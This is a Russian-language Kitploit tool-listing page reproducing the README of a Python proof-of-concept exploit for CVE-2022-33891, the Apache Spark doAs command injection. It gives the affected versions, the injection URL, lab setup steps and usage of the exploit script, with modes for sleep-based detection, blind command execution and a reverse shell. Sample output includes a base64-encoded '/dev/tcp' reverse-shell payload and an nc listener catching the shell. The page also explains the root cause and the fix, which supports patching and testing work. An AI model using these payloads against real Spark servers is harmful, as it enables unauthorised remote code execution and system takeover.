Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2022-33891 — Python proof-of-concept для инъекции команд в оболочку Apache Spark (CVE-2022-33891), включающий обнаружение на основе задержки, интерактивное выполнение команд и возможности reverse shell против уязвимых интерфейсов Spark UI. | Kitploit
Инструменты/GitHubGitHub/akbartrilaksana/cve-2022-33891
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Python proof-of-concept для инъекции команд в оболочку Apache Spark (CVE-2022-33891), включающий обнаружение на основе задержки, интерактивное выполнение команд и возможности reverse shell против уязвимых интерфейсов Spark UI.

Репозиторий
3128 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-33891

Уязвимость внедрения команд в оболочку Apache Spark

Python POC для эксплуатации уязвимости внедрения команд в оболочку Apache Spark. Я видел другие POC, но они выглядели крайне подозрительно. Этот — чистый и простой.

Я не открывал эту уязвимость/эксплойт. Я просто хотел сделать безопасный POC для сообщества ^.^

Поражённые версии

Apache Spark версии 3.0.3 и ранее, версии с 3.1.1 по 3.1.2 и с 3.2.0 по 3.2.1

Уязвимый компонент

root@kitploit:~
http://localhost:8080/?doAs=`[внедрение команды]`

Пример

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... засыпает на 10 секунд

Настройка

Вам нужна уязвимая версия Spark с изменённой единственной опцией конфигурации.

  • Установите зависимости: $ pip3 install -r requirements.txt
  • Перейдите в каталог spark/.
  • Используйте предоставленный docker-compose.yml в каталоге spark/ и выполните docker-compose up. Дайте контейнеру запуститься.
  • В новом терминале введите sudo docker exec -it spark_spark_1 /bin/bash
  • В сессии bash контейнера введите: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • По желанию просмотрите содержимое spark-defaults.conf с помощью cat, чтобы убедиться, что всё в порядке.
  • Выйдите из интерактивной оболочки bash и нажмите Ctrl-C для процесса docker-compose.
  • После того как контейнеры корректно завершатся, снова выполните docker-compose up
  • Использование

    root@kitploit:~
    usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
    
    CVE-2022-33891 Python POC Exploit Script
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     URL to exploit.
      -p PORT, --port PORT  Exploit target's port.
      --revshell            Reverse Shell option.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Your listening host IP address.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Your listening host port.
      --check               Checks if the target is exploitable with a sleep test
    
    

    Примеры

    Проверка, уязвима ли цель:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
    [*] Attempting to connect to site...
    [*] Performing sleep test of 10 seconds...
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [+] Sleep was 10 seconds! This target is probably vulnerable!
    

    Выполнение команд в цикле приглашения:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
    [*] "Interactive" mode!
    [!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
    > sleep 5
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    >
    

    Запуск реверс-шелла:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
    [*] Reverse shell mode.
    [*] Set up your listener by entering the following:
     nc -nvlp 1337
    [!] When your listener is set up, press enter!
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
    
    ...[в другом терминале]...
    
    husky@dev-kde:~/spark$ nc -nvlp 1337
    Listening on 0.0.0.0 1337
    Connection received on 172.21.0.2 55278
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    

    Подробнее

    Внедрение команд происходит потому, что Spark проверяет членство в группах пользователя, переданного в параметре ?doAs, с помощью сырой команды Linux.

    Передача id в качестве пользователя вызывает эту ошибку в трассировке:

    root@kitploit:~
    spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
    spark_1  | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
    
    

    Здесь Java решила, что лучше всего передать команду id в bash -c для проверки членства в группах указанного пользователя. Проблема в том, что это также позволяет внедрять команды.

    В исправленных версиях этот вызов параметризован, чтобы использовать полный путь к команде /bin/id вместо bash -c id

    Стоит отметить, что во время выполнения команды на странице ничего не отображается, поэтому это слепое внедрение ОС. Ваши команды выполняются, но не будет никаких признаков, сработали они или нет, или даже присутствует ли программа, которую вы запускаете, на цели. Например, контейнер, который запускается с помощью файла docker-compose.yml в этом репозитории, не содержит ping, поэтому проверка внедрения команды через pingback не сработает. Но вы этого не узнаете, и будете гадать, сработало ли это.

    Тест на задержку — безопасная ставка ^.^

    Ссылки

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (я не рекомендую использовать этот POC)
    Скачать инструмент